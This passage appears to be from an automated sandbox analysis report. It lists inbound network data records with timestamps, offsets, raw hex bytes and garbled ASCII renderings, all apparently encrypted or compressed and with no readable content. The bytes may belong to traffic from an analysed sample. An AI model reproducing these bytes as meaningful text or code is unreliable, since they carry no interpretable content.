2023-01-25 08:44:47 UTC	321	IN	Data Raw: 91 3b 80 e1 51 fe 2d 9e 64 79 84 ff 06 eb a5 da bc 20 8d 35 07 64 31 81 46 0a 01 f5 6b 07 9d 22 ed 91 3d b8 44 7e 7e f0 df e8 a7 15 ff d5 46 e8 a3 0e 94 48 0d 1c 69 6d 4d 89 7c 46 5c a4 f7 82 df 2e 60 00 a4 79 aa 2c 23 9e 6a 4f 30 b4 58 86 45 f2 69 14 4a 23 62 99 f4 0f af 39 69 a2 df 39 a6 a0 a2 05 7a 19 cb 36 b1 66 60 0c 1c 8e ec d7 44 65 be 7a 3b b2 1e b9 2f d8 c6 47 7f 4d 9d 2a 2c 1c 92 43 4e 16 f7 7b bc 0c 78 5b 12 41 de b2 c7 0f 63 cc 49 59 4d 53 c9 c6 a7 ec 0d 07 c0 6f d5 9a 09 5a b8 0e 4b 85 4b a8 1b b9 12 4f 4d b3 58 31 90 30 2d d2 36 b4 74 8c 73 ff 01 38 44 67 c9 5a 8d aa 66 0e 27 b1 4e 35 8e 6b 42 73 3e 12 19 88 46 24 0d de 1a a8 9f 01 16 a9 7c 57 b0 0f 4b 72 04 7c fe 30 2c 1b f8 66 83 3c e0 54 67 b0 aa df de 3e 85 c9 8f 6c 11 34 01 1d 87 b2 44 Data Ascii: ;Q-dy 5d1Fk"=D~~FHimM\|F\.`y,#jO0XEiJ#b9i9z6f`Dez;/GM*,CN{x[AcIYMSoZKKOMX10-6ts8DgZf'N5kBs>F$\|WKr\|0,f<Tg>l4D
2023-01-25 08:44:47 UTC	337	IN	Data Raw: 89 e4 2b 9a 6f 03 c8 55 13 d7 de ca 4c ec 98 c6 b6 1b 26 a5 0c 74 e7 cf 51 e7 c3 10 d9 96 51 7e 72 fe a0 47 ff 60 b6 68 35 43 e4 77 b0 65 92 18 53 83 47 67 df ad 0c bc 55 24 36 93 0a 9e ca 6a d1 ac 6a b3 9c 9e d2 9f 82 6d 4e 84 50 64 dc b0 15 d3 89 9b 5b c1 0b 32 b4 e3 67 12 c6 62 44 e2 ee 04 f9 13 48 6d a8 fa 65 bf e8 9b 74 a6 fd b5 c5 89 ef 5c cb b8 31 b5 21 5f 09 0a 53 2d 0e 06 7b bb 2f 35 46 8c c9 a3 7a 31 ba d0 dc b7 25 f7 b3 f0 40 ee 7a 94 57 28 a1 bd 09 c8 9f d9 05 fc 29 e6 35 ca cd 52 f4 ee 1c 29 d1 e1 8f 48 c1 00 db cc 3f 6f 84 06 5b b5 39 ee 93 e6 a0 01 7b 86 1d 30 a7 5a ae df 22 6d dd 82 64 4a 83 63 d4 60 ce 48 0e b7 d1 0c 6f 12 4b 15 91 f2 f8 52 6f 86 05 82 b5 73 b0 5c 56 45 2b 0a 25 64 d7 c9 0f 07 cb ca 87 34 7b 6d 55 99 4c d1 8a 1a 1b 50 76 Data Ascii: +oUL&tQQ~rG`h5CweSGgU$6jjmNPd[2gbDHmet\1!_S-{/5Fz1%@zW()5R)H?o[9{0Z"mdJc`HoKRos\VE+%d4{mULPv
2023-01-25 08:44:47 UTC	353	IN	Data Raw: 22 04 e8 3c e9 1f 91 79 a1 f6 7f 5a de 2c 32 94 c1 29 af e9 a8 2e 69 7d ab 2b 4c 10 b6 af 88 62 f1 75 e9 0f ab 4e 92 cd d4 15 29 cc d6 49 17 5b 75 df 1a 2c f4 a9 63 a6 41 91 fe f4 6d 7a a9 46 23 05 8a a1 bb db ca 1a b0 9b c3 ca 56 cc f1 3d 35 2e 40 33 37 be a6 31 da 89 ac 95 92 59 8e a1 5b b0 41 ce 34 4a f7 60 23 1c 3f 65 7d d6 04 50 6d 80 c2 b8 62 9c b0 91 30 8b 5e c6 6f fa fc 65 83 ba 95 47 01 8b ce 7c 0e e2 3a 62 9c d6 70 26 bd c0 6e 76 61 1c 1e 18 56 52 64 8b 9a 73 a8 99 0f 3e d6 75 ab bf a2 3b f5 57 cc 8c 10 35 a1 fc 60 d9 eb 1d b7 d2 65 74 44 35 90 20 20 20 6c 09 b0 cf ce 7f 82 9d f5 d5 fe 09 1e a4 ea 3d 48 ec bc fb fe 95 3c d0 8b d1 fa 21 26 6d 2f 9d 5a 0f 25 b3 ed c3 bc 2c 80 f8 64 05 81 09 41 5f 5e a2 fe fd bb a1 22 b1 6b 1b 3f 2f ad 9d eb 34 c4 Data Ascii: "<yZ,2).i}+LbuN)I[u,cAmzF#V=5.@371Y[A4J`#?e}Pmb0^oeG\|:bp&nvaVRds>u;W5`etD5 l=H<!&m/Z%,dA_^"k?/4
2023-01-25 08:44:47 UTC	369	IN	Data Raw: ca b8 6d c8 9b 32 cb 94 94 01 06 0e 4e 70 3d 28 ab c1 2e d7 f1 e0 a1 77 c3 89 04 90 d9 c3 5f 16 56 e3 cf d3 66 e0 68 56 b3 e5 70 31 8a ab b2 0a 87 59 cd cf 01 e1 8a a8 68 5d ad da 65 74 ad 92 f9 b2 3a 90 43 ad ff 04 c6 3b d1 45 ee b0 f2 19 3e 79 be f3 14 46 f7 5d 6d f6 23 4f 8b e9 86 92 7c fd 86 68 81 2c 9a 8b 95 1a 5f fd 0a fc ef c9 ce 15 6b be 37 db 8a ff 89 c9 38 df d7 71 10 80 97 e3 d0 c8 de 59 b8 cf 01 57 a8 53 06 61 ce 6c 07 e0 0a e7 c8 3c f2 9d 3e e8 01 c8 12 6e 99 ba 01 ad e8 a1 cd 6f 7f 1f 21 b2 30 0c cd 05 8b 86 09 bb 80 83 77 cc cc ec 49 23 cd 73 c4 9b b4 79 b3 81 43 0a f4 f2 db 2a 9f 9f 12 b9 71 c8 d3 6f 5f c1 e7 90 b7 dc e8 42 1b 07 a8 77 05 46 50 e4 58 6b 70 f7 c8 21 94 fc 01 5a 58 b3 6c cb 9d 76 81 36 9d fb 92 c1 63 75 66 76 ef f1 bf 94 1a Data Ascii: m2Np=(.w_VfhVp1Yh]et:C;E>yF]m#O\|h,_k78qYWSal<>no!0wI#syC*qo_BwFPXkp!ZXlv6cufv
2023-01-25 08:44:47 UTC	385	IN	Data Raw: b7 be 2f 4a f6 1a 94 58 97 e3 71 7e 46 1c a4 16 7d 56 56 cf 45 09 6e e0 79 f1 81 0e cb ce 35 18 88 c8 45 af 9d 52 5d 70 f1 df b0 5f 38 40 95 37 19 0e 96 62 27 20 d2 46 91 53 4d 2b 47 d9 6e ae d5 59 6f b3 bb 9f 16 dc 6a cc 10 69 a1 d9 6f 76 60 98 08 35 88 82 0a f0 7f 3b d7 7f 5a 1f 8f 47 bf 53 81 9a 1a 32 f2 97 0b 9a 4d a7 13 ac 1d 81 90 8e b8 b7 02 32 92 f7 f1 a7 b0 3d 67 ac 39 e4 f8 6b b7 4f 61 04 b4 d8 7a 81 ec 23 38 0f 02 5f 67 28 5f 83 46 4f a3 28 f4 62 77 7b b5 cf ff 6b 6a 52 a7 10 8e 8f 12 98 3f 94 59 4d 9b 02 f7 b7 3d dc 8f ae 57 a4 96 56 70 32 90 6f c1 a8 68 bc 4e 06 b1 b1 a5 36 53 3b 37 f1 d4 51 9b c5 09 9f 5d be f0 e1 5b 7d 70 52 f9 d8 05 4d d6 cf 35 61 82 c5 61 c5 be 75 c0 e1 cc b7 2d fd e0 ee 60 0b b5 ed cc 5a 9b 3f 78 d5 4e 25 14 20 fc 9c 59 Data Ascii: /JXq~F}VVEny5ER]p_8@7b' FSM+GnYojiov`5;ZGS2M2=g9kOaz#8_g(_FO(bw{kjR?YM=WVp2ohN6S;7Q][}pRM5aau-`Z?xN% Y
2023-01-25 08:44:47 UTC	401	IN	Data Raw: b0 cf b2 66 61 e0 c9 e4 d0 7a fe fa e7 d9 c8 99 14 56 9d 3c 1d fb 46 4d bd 53 de d5 e6 72 ea fd b9 77 95 88 e2 84 60 18 88 15 7f 83 15 e4 c4 36 54 33 e5 7e fe 7c 05 04 5c 15 3f d0 a2 2f 86 92 2c 94 d3 4e e3 d6 69 7c f4 df e2 71 b6 cb 1a c3 92 36 ef 2f 77 14 d4 14 28 66 d2 0b f3 77 ee b0 a2 7a 4a e6 bb f8 ad c5 9b 70 8f 35 de 93 df d8 2e 7f 55 45 e8 dc 79 8e b3 8e 3a db 1d a3 60 9b 65 b8 8c 11 2c a3 33 27 7f 50 18 87 04 cb f5 14 ae 6a 5b a8 36 2c 4c 45 e1 58 b4 db e8 b0 c0 97 cb 9e 46 3c de 0d aa d3 4a 6d 77 25 41 35 c0 8a e2 f4 c6 f9 99 3c 08 ce ba fd df ba eb 94 ef 3a d5 1b 25 0c 7a a8 54 b1 7c 91 d2 fc ee 57 ec f7 0f 70 2d 79 36 58 cc 35 db eb b7 ae 00 88 2c 3d 9f 38 91 85 72 f4 6a 6e 5d c5 d8 77 f1 9e 79 ea d3 af 4b 10 cd ca 95 76 18 40 f1 88 95 c1 c5 Data Ascii: fazV<FMSrw`6T3~\|\?/,Ni\|q6/w(fwzJp5.UEy:`e,3'Pj[6,LEXF<Jmw%A5<:%zT\|Wp-y6X5,=8rjn]wyKv@
2023-01-25 08:44:47 UTC	417	IN	Data Raw: a5 78 c1 19 ff 4e 4b 38 87 3a 0a b5 f4 ad 90 0a 19 3c 3d 5c 33 da 8b b6 b1 47 3d d8 8f 58 22 07 57 e5 b8 5d 4c 8b a8 66 3b de 69 69 d9 ae 4a 01 2e c6 0c 43 1e 22 f1 9e cd 17 89 4e 7f dd fd ae c5 12 6a 74 1b ac df ba ae c0 aa 60 6e 57 ee 55 7f e1 37 14 c5 01 60 5a 1d 1e ee c6 34 ee 77 b3 50 37 5e 5b 88 a4 b8 50 67 a0 90 46 82 cd c8 c4 f1 23 6b fc 49 1a 3e 1a a6 d2 39 22 6d 22 59 ad 35 b4 7c 6d 30 69 28 9a 97 26 a1 b2 60 fb c8 cb 58 b8 d5 96 f7 77 0d b2 57 33 b6 c2 b0 75 14 7c 43 e7 7a 05 24 ed e9 fb 99 5e e5 84 34 0f 4b bd 38 fe 11 bf 93 f5 eb fe ab 32 c6 4a 1e c2 1a 5f b1 45 3e 53 78 12 58 17 d1 84 0a 17 cf dd 96 05 2e d6 44 f1 01 31 ff ea 7c cc 2b 41 6e 80 54 14 f4 e9 60 12 2a f6 48 5c 5b 5d 20 42 23 87 d9 6a e6 b1 9f f5 cb f0 1c ca a3 6c 3c 34 c4 4d d5 Data Ascii: xNK8:<=\3G=X"W]Lf;iiJ.C"Njt`nWU7`Z4wP7^[PgF#kI>9"m"Y5\|m0i(&`XwW3u\|Cz$^4K82J_E>SxX.D1\|+AnT`*H\[] B#jl<4M
2023-01-25 08:44:47 UTC	433	IN	Data Raw: e3 e4 30 cd 44 94 88 8a 0d c9 67 8b eb 86 a1 0c f9 75 81 19 78 ca b0 6e 5b a2 2c b5 d8 a2 d6 86 ae f1 fc 12 dd 44 66 61 87 55 0c 73 f9 bf 6e 8f d5 cc fb 20 6a d3 10 8e 4f 47 19 9e 3d 10 fe af ea c2 b3 d8 21 b1 0c ea 4b eb cc 3f ce 03 05 b7 ea 33 80 52 91 e9 11 99 74 9b 06 fa 90 bf 27 40 3c c1 50 95 3d 89 12 a1 f0 60 7e e2 b1 1c 80 40 d7 a5 7b 34 23 19 ba 7a e9 cf b1 dc 5d 60 b8 bf 3c d3 8f 41 fe 86 49 f1 27 a4 d8 c0 d5 5e 90 34 5b 63 34 4f fb c7 06 95 e8 cd 21 17 f9 93 1a 27 06 8c fb ee 30 da 7c 3d 3d 4f 19 ff 80 e4 5a 05 4f b3 75 a1 eb 9f 81 a7 7f df 14 3b 96 29 dd a8 cf 06 49 0d 6a e0 53 6d 63 56 7d 48 47 1d b6 d2 3a de b9 14 0e 0b 0e 38 41 ec c7 50 46 a3 67 ae 5d 30 4a 24 0b 3b 72 24 70 52 71 df cc 16 c7 87 51 d5 bf 01 9a 30 b2 01 d4 91 da d3 7a 7d 3e Data Ascii: 0Dguxn[,DfaUsn jOG=!K?3Rt'@<P=`~@{4#z]`<AI'^4[c4O!'0\|==OZOu;)IjSmcV}HG:8APFg]0J$;r$pRqQ0z}>
2023-01-25 08:44:47 UTC	449	IN	Data Raw: 29 84 e1 49 46 17 17 36 bb ba f0 01 32 12 00 85 bc ff df c6 97 7e 3a ed 2b 98 3e a0 56 0a f4 41 4b 1a ae 38 d5 19 86 3c fc 3c 1c b9 51 6a e0 5a cd 3e ed 2f 5e 5e 3e 12 4e ad df a5 fc 28 17 03 df 41 6a ba 11 6a 1f 98 f2 9d 5b 3a 8e eb 6a 5b 28 af ce f4 2d fc ee e3 8a a2 76 cf fb 87 4f 90 25 aa 7e 68 b2 a2 50 a6 cf e6 cd 28 f5 b8 7e 37 7f c5 68 6c f9 d5 7f 34 45 3e 2e 72 72 24 d4 4b 2d 5e 28 39 38 2a 3d 8b 88 38 23 98 3a 27 63 92 2b 77 3e 65 88 ae da c3 51 c1 90 96 1f 65 08 a3 d1 5d 19 34 38 cf a2 9b c7 52 62 ff 0e 1c 95 3e 3d e2 cd 4b d7 f8 dc c6 61 56 15 4f b9 66 51 21 5c 69 6a 0a 31 11 a4 8f 28 88 4a bb b4 f5 34 b7 5d f6 ac 11 06 e5 55 bf 46 2e 72 0b 57 4b ae cf 79 64 6a 0c f0 8e d7 93 5a 00 39 c3 4d e7 98 d9 70 c1 20 ce cc 29 fb be cc 9c 39 8b 32 ba 11 Data Ascii: )IF62~:+>VAK8<<QjZ>/^^>N(Ajj[:j[(-vO%~hP(~7hl4E>.rr$K-^(98*=8#:'c+w>eQe]48Rb>=KaVOfQ!\ij1(J4]UF.rWKydjZ9Mp )92
2023-01-25 08:44:47 UTC	465	IN	Data Raw: cc f8 7d de 2b 63 52 da 60 a1 b2 ba f4 d7 f7 74 95 ee f9 38 24 24 32 81 fa f3 dc be d8 ef ca b9 6b c6 76 10 15 a2 a8 13 9b 12 49 c9 86 b6 6d b6 05 bf dc c5 aa 02 8a 72 06 ae e8 43 b4 03 33 c9 ca d7 b3 f0 96 bc bb a7 98 83 5d c8 93 b7 76 a7 c4 7b 72 fa 75 09 ff 3d 13 e3 e2 04 1d 18 36 8a 5c 64 fc cb 0b e0 9d 80 bb 7c a1 04 9b 0a 3b b3 93 30 1b 35 93 1b 69 b2 f6 bc a3 b2 9a ed 14 fb 5d 21 96 bf c0 ca ea 37 fc b4 b9 e9 b4 10 56 ca 65 1e fc 04 bd 04 9e 77 fc 50 d6 95 2e 6d fe 13 49 61 96 13 0d f9 38 e8 ed d9 70 c2 65 06 57 96 c1 21 a0 30 0c 0b 79 af 7a 9b ba b2 e1 25 90 4e 6a 4f 23 87 83 9a b1 4d b4 b2 bb 4c 84 57 e9 bc e0 be 09 dc 4b ba f7 38 9e 5c 04 bb 7b ce 3c 20 95 b1 ba 9e b3 9d f8 ee a5 a4 0e fa 38 91 bf 1d 6c 4b b4 75 34 2b 3c a8 60 ae 8d 0c 02 e9 55 Data Ascii: }+cR`t8$$2kvImrC3]v{ru=6\d\|;05i]!7VewP.mIa8peW!0yz%NjO#MLWK8\{< 8lKu4+<`U
2023-01-25 08:44:47 UTC	481	IN	Data Raw: 63 9c 45 59 25 8e 40 29 18 ea 68 f7 88 2a af 5b e9 83 16 23 38 97 e1 df 3f 48 06 38 63 8c 59 c9 a6 26 e5 fa 5d d1 08 d6 72 66 4c 18 4c 30 ce 8d 81 91 4a 22 ed 71 e5 81 65 90 04 9c 81 5b 5e 96 6f 2c 59 d9 48 dd b0 ee 53 a4 32 c3 b0 3e d8 91 a1 95 2e af 7c 8d da 30 d4 85 42 41 a5 06 a2 13 5e 84 eb d1 2c 86 09 98 f7 dd 0e 97 bf fd 83 85 2c 53 2e 1f 2d 57 20 5b 55 74 f3 ef 9b 56 fa f7 5f df c1 b9 75 a6 17 8f 7b de f4 98 bc 5c bb 34 a8 62 11 7d 97 27 ac 74 56 4c 76 f7 48 62 e9 2c 36 00 1e fc 6a 72 db c4 53 59 c6 c4 b8 08 7d 73 18 e0 0d 7f 11 97 26 c3 b3 33 74 ce 57 16 68 12 8b 52 5a ae 62 4a ee 30 c6 cd e8 cc d6 a1 36 c8 cc 71 9c cf 34 44 cd 39 30 75 df b5 ab 56 53 e2 9a e0 b8 ec ec ce c5 98 6a cf c3 ec a4 92 d9 85 aa 8c 05 1b 58 7c 5d 4e d8 5a 43 f2 be 86 21 Data Ascii: cEY%@)h*[#8?H8cY&]rfLL0J"qe[^o,YHS2>.\|0BA^,,S.-W [UtV_u{\4b}'tVLvHb,6jrSY}s&3tWhRZbJ06q4D90uVSjX\|]NZC!
2023-01-25 08:44:47 UTC	497	IN	Data Raw: 1c ae 56 7b 24 ae e0 c9 12 1b d7 96 d3 13 f6 4f e3 7f 4a 87 2d 70 00 64 dc 22 5b 7e 4b 91 14 b4 76 3f ca ae 8d 78 ff f6 b4 6e 93 21 3f a4 c1 4c a9 d9 ff 56 18 d3 ff d5 98 90 26 46 dd 81 28 f4 db 35 6f 24 ee ff 6a 05 ee e8 3c b3 50 33 7e 62 d5 58 37 7f 53 57 ca bf 39 6f 91 4e a2 12 c7 45 80 08 4e 40 7c fe 30 f5 db 2d 7e 66 58 b7 a0 e1 da a8 11 ca 96 40 b1 9b 30 42 af 96 e7 f1 13 9d b1 4a 52 27 e9 8d b5 4c e9 70 b9 c9 56 03 72 a5 2f cb 8e 94 08 e1 52 3a 4b 57 2a c8 04 44 48 52 6c d1 7c d8 82 f1 d3 71 84 81 3a 2a 76 60 1d a6 a8 99 80 96 c1 b8 a7 a9 59 2c 74 a0 d9 d5 7e d6 78 6a d1 c5 69 32 d1 81 94 96 e2 09 bc 62 27 22 46 2e e0 0b ab 0c ec fb 12 d1 64 38 dc b3 a8 46 ab f1 d9 ea 90 36 2e 3e 38 22 c8 12 93 1d e6 b7 19 5f 35 06 c6 3d 99 b9 34 d5 4a 5c 9d 88 c9 Data Ascii: V{$OJ-pd"[~Kv?xn!?LV&F(5o$j<P3~bX7SW9oNEN@\|0-~fX@0BJR'LpVr/R:KWDHRl\|q:v`Y,t~xji2b'"F.d8F6.>8"_5=4J\
2023-01-25 08:44:47 UTC	513	IN	Data Raw: 1c 5b 60 12 16 3d 04 5f 1e fb e8 a4 b2 c7 20 6f 8f 67 ba ba 2a 3d d1 4c 54 f7 4b a2 d9 c3 bc 81 19 52 4c 3c 2e 90 1c 2f 25 99 bc 56 4f 4a d8 7d 2a 09 ee 04 ae ad 76 f3 cc 56 65 c6 8d 65 e3 e0 64 b1 da a2 0e 6d 2b 4a 3d 33 95 55 75 69 53 66 e4 ee b6 f3 6a 99 c1 cd 08 cb c4 f7 b5 bd f9 93 5d 0f b2 8f 61 b0 3b 3f e1 7f ec 66 12 7f 83 38 62 e2 bc 5c b6 c9 24 78 61 b7 13 74 c1 70 fc 02 9b 46 1f fd 62 d9 cc fb c3 c9 22 7a e6 fe bd db 22 a7 8a ec b0 1a ad c9 c1 dd 7b cb 99 9c 00 08 ee 88 f3 0f 27 9e b7 58 aa 78 f7 f6 61 b9 dc f3 21 af 35 bb 35 e2 9a cf bd e8 27 71 f8 ef 46 f7 9f 06 06 06 3b f4 d4 d4 79 e8 f3 f5 87 d3 cb 6b dd b1 3a bd 0c 02 21 3a 7d fd aa 53 b8 67 e4 8b ba 31 bd 25 32 01 b3 05 31 86 cb 19 c9 e8 eb 3c ab 60 24 2f 62 ec f2 10 8a 41 b0 19 8d 0f 90 Data Ascii: [`=_ og=LTKRL<./%VOJ}vVeedm+J=3UuiSfj]a;?f8b\$xatpFb"z"{'Xxa!55'qF;yk:!:}Sg1%21<`$/bA
2023-01-25 08:44:47 UTC	529	IN	Data Raw: ef 7d 09 f8 56 5d 67 33 f0 48 91 75 16 91 b6 19 70 a6 54 ef 7d 0d 2c 41 13 c6 5f fe 32 e3 29 ab ec 19 f6 cd b7 dc e5 7a 7c 97 81 eb 69 e2 ec be d8 e2 6d 60 63 71 64 28 be fb 19 44 4d 37 79 65 df 16 8d 74 58 11 33 e0 38 ed 22 1c 0b c0 25 9d e3 51 6c b8 7f 7b 6d c5 6f 7b 2d c9 cf 0e 9a 76 ee 18 69 58 51 45 04 5f 64 71 44 d4 23 ad c9 07 c6 56 78 3c 37 54 5f a0 14 a3 c2 5e d4 a8 00 e0 6d 68 1f c6 2c 1a 5f d0 93 fc 16 c2 68 20 7e a9 dc 61 68 e6 d5 d7 09 ee 25 23 91 af 35 88 b2 03 b9 5c 8c 5b 9a 81 0d e4 3a cc ea 08 06 10 82 e5 e6 9c d0 dd 99 be e5 5e 6b cf a8 34 3d 89 a8 15 4a 2c 6a 9c fe e5 3c 7c 43 b5 c6 a5 25 34 5a c4 56 f7 a9 10 0c 62 1a 3e f8 af f4 2f cd cc cc ee 1f 1f 99 57 ff 94 d8 05 c8 ad eb 3f 9b e2 96 2f 43 6c 1d bd d0 64 01 db d8 d9 0d a7 ca d8 60 Data Ascii: }V]g3HupT},A_2)z\|im`cqd(DM7yetX38"%Ql{mo{-viXQE_dqD#Vx<7T_^mh,_h ~ah%#5\[:^k4=J,j<\|C%4ZVb>/W?/Cld`
2023-01-25 08:44:47 UTC	545	IN	Data Raw: 46 b0 0b a1 e9 70 5d 3a 95 77 80 c0 9a 1f 1a 0e 10 19 15 f0 e0 a9 5b f6 86 fb 02 9e eb 40 14 89 93 3a 6d 39 9d b1 0a b7 13 dc 02 c9 cf 94 52 c3 eb 7c 7c 04 37 15 24 2e 9f 51 90 71 47 07 93 65 f1 8e 16 20 50 28 f1 02 7a c5 c5 3b 37 42 f5 66 84 13 2d 38 75 eb 33 c0 bf 7f 20 aa e7 99 e1 b7 f6 b5 f5 94 ae bf 19 e4 4f b1 69 cc df cc 2e db 41 d1 f9 39 9f b4 2a f6 9a c0 72 a2 6f aa 61 65 a5 70 85 27 d9 44 b0 92 68 1d 75 36 88 02 b8 0d 4b 1f ca 6f f6 cb 09 9b 74 37 ff 87 bb 6a eb 4a 99 ca 11 17 ff 12 32 d4 77 83 d2 18 46 bd dc 0e 59 37 69 f5 9a b1 16 49 1c 89 1f d6 f7 42 b6 d9 b3 be 8a 6e bb 1d f4 31 a7 2b 08 3d 3c ec 65 9b a2 a9 9a 1c 91 96 34 bc 1f ee bd 99 81 0b ea f4 b2 ff e7 25 f0 95 aa 3d 01 86 1d ec c3 e3 85 ef 36 b5 ba 82 65 9a de ee bf 0e 59 45 1b 8f 9c Data Ascii: Fp]:w[@:m9R\|\|7$.QqGe P(z;7Bf-8u3 Oi.A9*roaep'Dhu6Kot7jJ2wFY7iIBn1+=<e4%=6eYE
2023-01-25 08:44:47 UTC	561	IN	Data Raw: 71 23 9c 92 2d 70 33 fa 54 0e e8 25 23 81 f2 e4 1b 0b c2 c6 03 d4 ad 28 51 e6 33 30 43 ec f4 8b dd 79 94 c6 9d 8f 90 29 b2 30 41 ec 83 3f 1a 65 6f 12 0a e9 e9 c0 86 af 3f 9f 03 d8 26 60 1b 08 3d b9 6e 92 96 19 f7 ee 05 c2 6c c2 5b 15 9c 45 3f 35 dd 51 8d 11 2e 69 f0 c2 ba b6 73 be 4c 20 47 91 d1 f1 fa ea 25 f2 0e 93 0b 02 0e 86 ea 0b da 12 8d ec ff 95 0c 8f 63 cb 4b 08 7c bf b7 80 5c c2 68 14 2d 73 44 93 49 22 e4 a9 1d bf 12 6f e2 a6 56 4c 78 6b ae 02 42 98 34 03 f9 54 3e ff 43 e7 95 4e 09 0b 3c 42 ec bb c6 b8 b0 26 8a ac b0 47 2a 56 9d c1 3f b1 d9 49 64 4a d0 e9 b8 02 0a 34 b6 7f d9 61 0d 96 ad 69 ef c6 f3 b2 5a e6 c2 33 0a 4c b1 17 2c 6a 6e d2 47 c7 33 dd d6 eb 28 94 38 d1 42 ca 16 09 13 2c 3b dc 30 f3 d8 75 48 40 b5 9a 1b ed 16 07 5f f4 87 51 34 a2 a3 Data Ascii: q#-p3T%#(Q30Cy)0A?eo?&`=nl[E?5Q.isL G%cK\|\h-sDI"oVLxkB4T>CN<B&G*V?IdJ4aiZ3L,jnG3(8B,;0uH@_Q4
2023-01-25 08:44:47 UTC	577	IN	Data Raw: e4 11 9e 3e 2c 2f 5f dd fb 5b 62 2f d3 dd 12 69 e0 c3 4a b6 14 6a 18 87 e4 45 47 38 72 65 c6 f1 d5 48 46 1b 44 93 65 59 5b 9b 58 3c c2 61 e0 1e 40 0b c7 4f 54 da 5e c2 a1 a7 5c ad 10 dd 5c 79 fb d3 f0 4e 80 22 db 1b ab d1 4f e9 bc ae e1 31 54 28 48 88 a7 db 55 37 36 34 4a 52 dd d9 81 83 98 ea cd a5 b3 b6 f4 75 d5 01 fb 74 eb b4 d4 2d 0f 55 66 1c 3d 03 9b 43 ea c7 81 6e 1a 87 77 07 8e 05 b9 73 45 d1 f7 fd ca 8f df 0e f1 0b a3 0b 4a f1 ce 93 09 de 57 42 19 27 af 12 55 16 bc f4 75 80 35 c5 07 60 40 a6 a0 99 31 60 fa 8d fe 34 ec 7c 57 ca b1 06 33 91 64 1b ba 95 46 be 27 88 2d e9 aa f5 79 62 c2 bb 50 3f 81 b5 f3 72 77 5c a2 30 42 5d 0f e3 47 62 a4 2e 97 aa 60 78 d8 ca 13 ea db 2e 9b a0 d1 ca f1 9e 01 60 0c c2 a7 31 4a 31 8b c1 d7 b9 c1 f2 84 79 cd 71 00 16 12 Data Ascii: >,/_[b/iJjEG8reHFDeY[X<a@OT^\\yN"O1T(HU764JRut-Uf=CnwsEJWB'Uu5`@1`4\|W3dF'-ybP?rw\0B]Gb.`x.`1J1yq
2023-01-25 08:44:47 UTC	593	IN	Data Raw: 71 11 ed 2e a4 2c d8 e7 3e 04 84 82 c6 13 40 1a 5a 84 ec 31 14 8b 66 96 84 a9 df 44 46 4c d3 cb f9 cd 6b 38 bd 79 da 93 2c 6c bb be d3 a5 9a b1 32 65 a3 2a 3d c9 ec 47 36 da c1 85 5f fc d7 4f ac a0 b8 21 7c 62 1b 06 55 27 c6 74 99 bf 74 c9 00 50 f8 d1 d9 43 4e 5d 7d 48 4e fb 7b af c0 32 90 29 5a 18 4d 6d a5 cd 51 68 8d 04 07 04 77 cb c3 93 46 c2 5c b6 78 11 40 0e 4b 78 4d b5 d0 a2 17 49 d0 2e 2d 05 10 40 3a 98 f1 6b d7 38 5d a5 d5 ea 3c 1d ed 15 db 2e 47 5e 15 e4 08 68 9b 7a 5e 8c 62 41 7a 86 11 1e 15 08 20 59 a2 68 e2 53 32 5c e6 6f 7e 78 4a ac 9a ef 82 ba 0c 3c a7 4c fe e6 98 6d be 6b c4 48 85 76 81 c7 fb 58 d4 ff 01 e7 85 51 cc 6b f8 e7 0e 12 d9 ef 55 4a 72 6a 93 be f6 0d bb 40 17 77 e4 c8 6d 1c 16 ab d4 d5 86 78 67 a7 c6 b6 8b 72 71 a0 94 1c b2 1c 49 Data Ascii: q.,>@Z1fDFLk8y,l2e*=G6_O!\|bU'ttPCN]}HN{2)ZMmQhwF\x@KxMI.-@:k8]<.G^hz^bAz YhS2\o~xJ<LmkHvXQkUJrj@wmxgrqI
2023-01-25 08:44:47 UTC	609	IN	Data Raw: 1d 4b c9 b0 97 40 f5 9a fd ac 3c ca 79 16 cc 1b bd 7f d5 f5 e0 be 1f 3c d0 b7 3d ea 73 85 8d 04 e1 b1 a1 e8 20 c6 c8 59 d3 a4 a5 74 f5 f0 3a d3 d0 e1 af a1 cc 00 95 5c f3 12 68 48 4b dd e3 43 a1 8b a5 27 60 1b c5 3e a1 c8 be e4 f8 c8 83 5e 00 f3 98 38 5f 07 d9 2f 2b ee a3 73 ea 3e e0 11 35 a4 a2 62 9a 7c fb a6 a3 ba 88 3a c6 ce 35 93 a0 e9 b0 10 ea 14 7c 02 c9 ff 92 d2 9c b4 84 15 4b be 00 28 0a ed bc 89 f2 92 04 31 2b 20 be 7b 73 3f c6 37 12 5d f0 33 f9 d4 6f 80 8f 79 f0 9b b5 22 11 1c 68 49 c5 bd 60 da d0 f6 7c 28 4d 2f 38 c9 40 6a 46 8f 7f bf a0 47 08 f3 10 16 78 3f 25 04 66 ad d9 62 21 23 c1 05 0c c1 f3 75 99 fd c7 04 77 8a 82 a1 a9 98 f4 1b e0 78 a0 93 83 a5 bd d9 bc fa 37 25 eb 73 bb c3 41 c1 f4 86 ef a0 7b 27 e8 0f c3 e8 98 9b 77 24 7f 08 b9 8d b1 Data Ascii: K@<y<=s Yt:\hHKC'`>^8_/+s>5b\|:5\|K(1+ {s?7]3oy"hI`\|(M/8@jFGx?%fb!#uwx7%sA{'w$
2023-01-25 08:44:47 UTC	625	IN	Data Raw: 75 ff 64 37 d9 dc c4 c3 4c e0 76 fa df 57 bb ee aa d8 8a 48 e0 37 90 18 b9 6d 07 13 7a b7 13 40 fe e8 91 f6 f3 aa fa 8c 1d f6 03 c3 c1 19 8d 90 cc 00 4c 47 69 53 3f ce 03 99 fc 5a b7 b5 dd 28 05 0b df 96 76 b7 14 66 e9 2f e2 de 01 d7 25 fc 34 b0 fd c5 58 0f 37 82 09 ad de 7f f8 70 8d 56 40 9d db 20 e0 bd b2 07 8a 0e c5 ed e2 9c 30 05 d7 00 76 ad 1d b0 17 4b c7 b7 87 6c cd 65 1e ca 8c 5c 62 df 1b e9 79 de 3e 20 9b cd 73 30 33 ad 09 af 8a f7 40 d7 b3 51 ff 84 df e7 72 d4 da 39 3c 86 37 45 4a 58 01 a2 5b f4 3f ad 94 c1 29 c7 d2 be f0 96 71 7c 14 0e 25 40 32 ac 03 22 94 9b d4 10 55 d3 77 a1 ee 8e af c2 56 03 f3 fe 70 79 81 65 92 43 85 d2 9c 03 79 f1 0a f9 b7 73 f5 cc 8a 09 de 2b c3 04 d6 42 ac f0 3e b0 cf 17 6b af 5e 78 3f 24 97 de d9 b4 26 55 5e d4 15 db 67 Data Ascii: ud7LvWH7mz@LGiS?Z(vf/%4X7pV@ 0vKle\by> 